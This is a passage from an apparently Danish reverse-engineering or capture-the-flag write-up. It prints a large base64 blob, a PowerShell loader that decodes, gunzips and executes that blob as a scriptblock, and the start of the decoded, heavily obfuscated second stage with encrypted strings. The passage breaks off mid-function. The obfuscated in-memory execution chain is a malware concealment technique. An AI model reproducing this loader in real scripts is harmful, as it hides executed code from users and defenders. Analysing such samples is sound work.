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</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$bytes</span> <span class="p">=</span> <span class="p">[</span><span class="no">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$dat</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ms</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">MemoryStream</span><span class="p">(,</span><span class="nv">$bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$gs</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">Compression</span><span class="p">.</span><span class="py">GZipStream</span><span class="p">(</span><span class="nv">$ms</span><span class="p">,[</span><span class="no">IO.Compression.CompressionMode</span><span class="p">]::</span><span class="n">Decompress</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$sr</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">StreamReader</span><span class="p">(</span><span class="nv">$gs</span><span class="p">,[</span><span class="no">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$result</span> <span class="p">=</span> <span class="nv">$sr</span><span class="p">.</span><span class="py">ReadToEnd</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">Invoke-Command</span> <span class="n">-ScriptBlock</span> <span class="p">([</span><span class="no">scriptblock</span><span class="p">]::</span><span class="n">Create</span><span class="p">(</span><span class="nv">$result</span><span class="p">))</span> <span class="n">-ArgumentList</span> <span class="vm">@</span><span class="p">(</span><span class="s2">&#34;sour&#34;</span><span class="p">,</span> <span class="s2">&#34;precision&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Efter at have dekodet og dekomprimeret dataen, får vi følgende PowerShell kode:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="k">param</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="no">string</span><span class="p">]</span><span class="nv">$cow</span> <span class="p">=</span> <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="no">string</span><span class="p">]</span><span class="nv">$fugato</span> <span class="p">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$pack</span> <span class="p">=</span> <span class="s1">&#39;B9yxT&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">reactant([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">inexpensive</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55290</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">health</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">19051</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">heavy</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">38932</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">squeal</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">22609</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">panel</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53813</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">vanish</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">17317</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">improvise</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">65220</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">victory</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">44959</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gem</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">26706</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">extend</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33203</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">plead</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">65238</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$cultivar</span> <span class="p">=</span> <span class="s1">&#39;9Z7xulaVl2b1GnWeRRBYT4nxKxr1M9LAc1MCfp+ru4j3N0CC24LewdbQiBwVyznDweapd6tOIyUqSLDV2/SAw8btu3uE1NhPitIUxch9Ht8lwA+rW3vGLL+lRqgEi6uqsmpHj4pyC9fA0oEd6rkKh3wluMlXDCD9q44nq0CCI5FU8RsApk7RljZnmoADgpyutYk67/43leuoKhbXhVELF07+KJKpZWBMadSaY5BBpF4vvlijlP8wveo2ENtN8ICxN0HsCiVjRQdSpzgjjUmaSTEBm7Bcultj9eV/+zUTtl7Xw2N6wzwLnj8T2a9+Ygnx5bDS2YhC/quCdaEof5kcDcHXMKkLBHqU6+HHapuImj2S+HAflh5zFMYnxvGUEMhmC/6PqLAiA9nX+9L01ZqMCDtdQh+7aikd1P2/OWCHLJJ8aH9QkH1wKeHmsjdLA3UxXWHshogBtAve0YszNZjcArBEQoGXzGsQrThRsxV0ogsKu3ZYxCs/UkbVjpVoDHMM4SENNaytZ42AMQTEfV0rLJeFF4tbqpoA51SCbGyzRvLqsBJevYfauTOcGggi0fT5amwVzWeRgcAXt5NRzt3FvN30KW5vugdGAije83hYaxpOAsWM2L096CA7xNM1Hk4vX2iIw9iJG7GNHiCb3PxVuiQX0QJsP6/2Iz+FIqAlZX0PPlasLEGaIZzpSeVI1rbdn01IxJS+k0VDb3FfhCDEA6U8GsAzwhOVSxwRLVtTB47QVa9f&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$precision</span> <span class="p">=</span> <span class="s1">&#39;/F3kF8RyMOHT4mrSVBNSHbXJA+7G6kAagtE7dSzHkUM=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">pride([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ale</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48511</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">panther</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29000</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">27850</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">exultant</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">5084</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">tacky</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">2085</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">wave</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">59434</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">start</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">63922</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">independent</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33913</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">boatyard</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">58060</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bow</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">44219</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mislead</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">64694</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">someplace</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43528</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">huge</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34379</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">adrenaline</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55782</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">hand-holding</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">27515</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$team</span> <span class="p">=</span> <span class="s1">&#39;jCqlOupTcpByiAcYmrtL9YdJK4dyRWrAanZhxve5s0GT0PctWjNaUD7hvWmTfjKn1kw0SBXWR3PhKZbXlFfm0AQIobY3nGqqPryzY6g+41vLeK8fWG4PP1UIcqBFgIbQW0bgSp9UAbHjpKnV7M+3S+LFOLWZOfzrjDfcOHjVPXVQT3KPVRZ3fskcHSaKK6b2icP+IWQHcpzgzI2wsPwkKrVtjj1iV6hGhjyWU+X1GMD/Hd7FSsW/mFdjLQVYhKMyAmLZpAKbss53MvPEcql7Ah5ktlKQXf6a77ALcuFyTBcN0rvTft1Shcfyg16SwA1534QOqETL9fQP9/V/s0QypLPuKqTTxZQit2RuIo3oR+9fm9btolskpKC+SzcEQhshs+70h6D1v+KxL03VBrxURae1z5jRDFFBjgJmzctzmEv1ZFErn0Q555Jln3KSbtDyvlLI+jch+VBsTdCHio09JF2yyd7tBf6MT9u1/ZS73VT+8ASAjJkAAaGgTSSI8KB6S8bwqtBgisE1Xu7FYKwCnqygmHszGA==&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$future</span> <span class="p">=</span> <span class="mf">50281</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$raid</span> <span class="p">=</span> <span class="s1">&#39;nBhhJlW88L9ji/rPHkSLGm35yFQBDh5NNH8CTxOfSnJ2ah6sNIemutN51PVXgJ2copQSPjsq+MgV2G7QLbkLt2GO7QIxvwrwilHGyapRTx9kTfytAfASsC6CqePDVQxDZgxwj2kXKGaf4K2oVaxdXzdRezYn2RvLC9vkbDbxeGwM/cIyCWL/Ec5uN3hl9JFDSDgVh9fEQQ5bdGdqHeabENWG7i8DjPoy/8GvpmqIFAy7bmsv7yXBke5kx8ZJI7WE4CdaJH35r6DG8tgZY6Mi4kLA4hSm2B8hLuf0RcbS2VHgunrxban6urk6l694Wwj8ahNyfBnA023VVEAFokNEXcgOnEmmH5mGQG1tYa0fVAImDnQVi3cHIjwBUb4IZVgE0ucACS/AAZDZK8vdlsLJgUpBoa5F2kzmGP4odN9lxnwolwD7n8FIwlnJ+WVuqK8CfuIM8PkgqAy+si+nZ9xrTYeYsqua&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$hub</span> <span class="p">=</span> <span class="s1">&#39;ZKIADxmEYEpAZc4iP63CAO6Vl46/ASbXhOITxEsBnKLmPhU/JIVHDLgvBS6cY1sTvw6qQX+FUyN5iEw8xB1pDJd0idOfM0UxOL1o7mY4yf5sRmP2l0HPALIsm9LAgyKph1IiHOrLqrYHKYPAlX8f7vGgvGwm2/GMORK4AKdVZRNI8wfZZAYcQx0u311OdVgATD6zglv5k/L28+HzoNjU83EOkpkUEIR1ulp0hqClCG7iGIImvcVnnYX3NgXk7wkCa30Cui73u5s9qknA2SJqL5KSlO5VBlauW27bpMlcuJ9gh5MU3oa7OSAMTedNQZPWi3ZIIYctyfWokQFfEBw4UQdrJHPUW2l460U+yH4Babc0r60XgTiprVueUYBFqBx5fa1VKbATrgH6Wo6fnE5N+HJ53MdBmc9KM/74C9qEhtFY97I00RPUg8G+DD2whV27vKHqPGgimc6POnydAJunmHzUqd+CLZ30m/WORG7zoO8/mnM4dXUl/v1/BD8rWB6bNZ3NDPkTeEIowPY+qm5KY8TbpBgBILo05h0bmhTwedtApG8MELQLA5cffzop0fQbnTKHBFcVJT73IOe4hIE62cLwk6dtWrmB+NP3wKv7XPx/3cwXg49cAroQy/brvAe9RrNKJHCXJHm0wsqlpfNmAYydEmL89kOlW9QtJOpl1y+1rg8FAGM7GtxBRRIyzX3fAGxmLBDC5G8Pc7lqKjStvuEEBp7ITOmi6WWG144U6G4c9+OqtpHJMOIR9DkBqm/ZCGoxYvS8dXvkJHPN7yJZsGhU2Hrqx51tpChFPxQ7H1ECgVlaB6aPJc1hjE/IyRywzzzqV+3U6BSdd/57Rd5jWg9Q60FJ1A1rllxo8eQss23tiXY4KDuZtzu4MWLWUHQJuaiwRav5PfDFUgj5w2tiNWjNGb1YpW59hOvkCUthRVXfsJqqP563Gt8QC4sDvHUY5DJJ/f23cyjpT59awMRpqEZJNBvw+EUCh3y5NS1sYUx6GyKMpJVmJJ2MrzV5QthW2H628jQBjIzqVt6PxW6/1DNZRZfTCZGfEpFyJLkMgdruRSILkWnRQI+LgrXt9BmRqi6RfT2gj6APEM9nynHjN3dEx2xs6EUMAdkqR6hfrDelC0O6URR9wX88nmyy970iXH0FcM3Ok9vXChMTC0EOHJJNde8CHH6g0c2RDC8TMQdha0SNb1HL+WqPuFSedJ+udnl4drO1N+3RRLRWbLRKgHOVaNHtJsmEqo6nen72tGUB3K0v6eJfEpLpYGR3661T/ZkGOp6ePgLQpydzzjV3R6IcbeYVg13nY9ZOAZDbyKhzF8Nky+3rC4T5/cH4aJ2v5BSFQoY1hhPKGmauVoo5ALMHZmb+Nw+hx99A6b8/R9qa6Rqxuh76IDS921bXk0qH/9K8vwbFcm+nsVuBMP5i1MtOqXdmceDjnPJFbRU4GZW14xAWHKCnEg8RBmoS2+sjyzV/KDB3vG/O9o0K6qWnaGw6VW6hk8JGxpOwxMrMx1kz3CqGF4bw7xT2LTMH0yxikovjbrePWANLFta6E8zbh6+zHVr5oZ+5ieuZnCUKSznrsQwJtnjPmXtQC6iob9LxlKDzlvNANi1dPF4qL2eROkk3lFgOI55XEg==&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$first</span> <span class="p">=</span> <span class="s1">&#39;Wqy&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$tanker</span> <span class="p">=</span> <span class="s1">&#39;kRGNCMScyy0BG0w+R2k/Na1zBQLdt7x5vSPQVewlO0y5bEOBpyK/hBuyeNVuNdb/mxqtDtw1/MvzqjRz5xXkhMNS9p1/DAgA2jnoIBZipCbonwqqZbI9ZbISx4sjhuQzVMnYBAQ/WDTY+8pkJyh1MonvNhLid6DyjMtRP40/aVSZ7x6peN/UUy0JIir0Ffq9C1nQCy0fCLAgGzTVr/V+ZzmuReZHrBKS+V4Bm19CXDaysYQ83ErvD6dVTQY6V9NncQT0agJbGX3cw3s0eWqfw3VkGCoDftGdznqEFRTtxH/9nxHCTAIplLYeYzaHpwrhdUZAu5ZZtwtxYJXnRtvNqY46fp+ShGyYdgKKT4B/YGNmIyIFi46oBv2ZKF2WeDJ7BnMVKZq6YJhn8RmJ8bqI/Qcsr/+tv694z4f8W8pkl2qviOqhSjRyXYmvS46dslLcxnBetVL2nagQFk0rl/1wqGlKg1jijLVAc4Yn2TC7zD948mSb9Oh/b3qCBzEtQ8Ut7lhkSx8QELjysqsvoeJsJq9T685qBJdOVxQM8T2rcW+ETRVSuZEPrWIYmfs4V6kvlJ/T+vw1fUNSwORTYfhHe6Vc/9/OYfGx7oWZwcTxW0zWM95UMdU7T8xDBbJFm3gRDM5PCjSdFHAAjwL2Wor/G1CRGrqieSfvP99IsKZJOHmciC2uy+7M5PeDHAzzgee3iG/Mh19ZczcEjM7okAyPIAsH3zpKEd25JrUrV6Z0uusKe2bmppTDOOGUByzmGP5ULgJnEplVANdOLJs07CUs8YHZ1mBUR8+vAdOEK54lG3QZCf03neSHg9lRNIonWGYkHbXZ38WiisqQc9Y5AaJYAWbng5G5VvjgMGm0brnRmfKPsQE/C5QgLYWGJ6h9GTFo22djdNPoGZCPsmpHDaxI3tqqUKwmCk/Y+N0Yfugs4nisf4iWl8LVK252szvTPlXVXmTuvPdp2NWleQrszgRfc3rVMNm7oSLxmrjF+mIAsc+WvbtCwKGjnH9Qa8SGan7tyKDYUltueMAlUnubBgaU59RGDEy4ubMFgh5+F7wRhuqpFEWnQepyvdnN/zRfLaq/CFmr3y3dT6KJppq3168GbL+MwV6DWh6s0O8iYRisBa2wk9PgCpzSVuU=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">envious([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">abounding</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18347</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">respite</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39701</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">debt</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">59482</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">antecedent</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">6065</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hydroxyl</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">5252</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">accept</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48422</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$trouble</span> <span class="p">=</span> <span class="s1">&#39;mm6I00jG1EtUlBvMYB8K&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$son</span> <span class="p">=</span> <span class="mf">3815</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">cassock([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">midden</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">47992</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">orator</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">2354</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">patience</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14240</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">heel</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">4923</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">tree</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">496</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">exception</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">23482</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bun</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">617</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">strand</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">46746</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">quiet</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">47060</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">curriculum</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16110</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">stencil</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">61195</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">egg</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">32566</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">toffee([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">actor</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">65426</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">squalid</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">38176</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">accuracy</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55227</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">frequency</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">691</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">impairment</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">25113</span><span class="p">)</span>
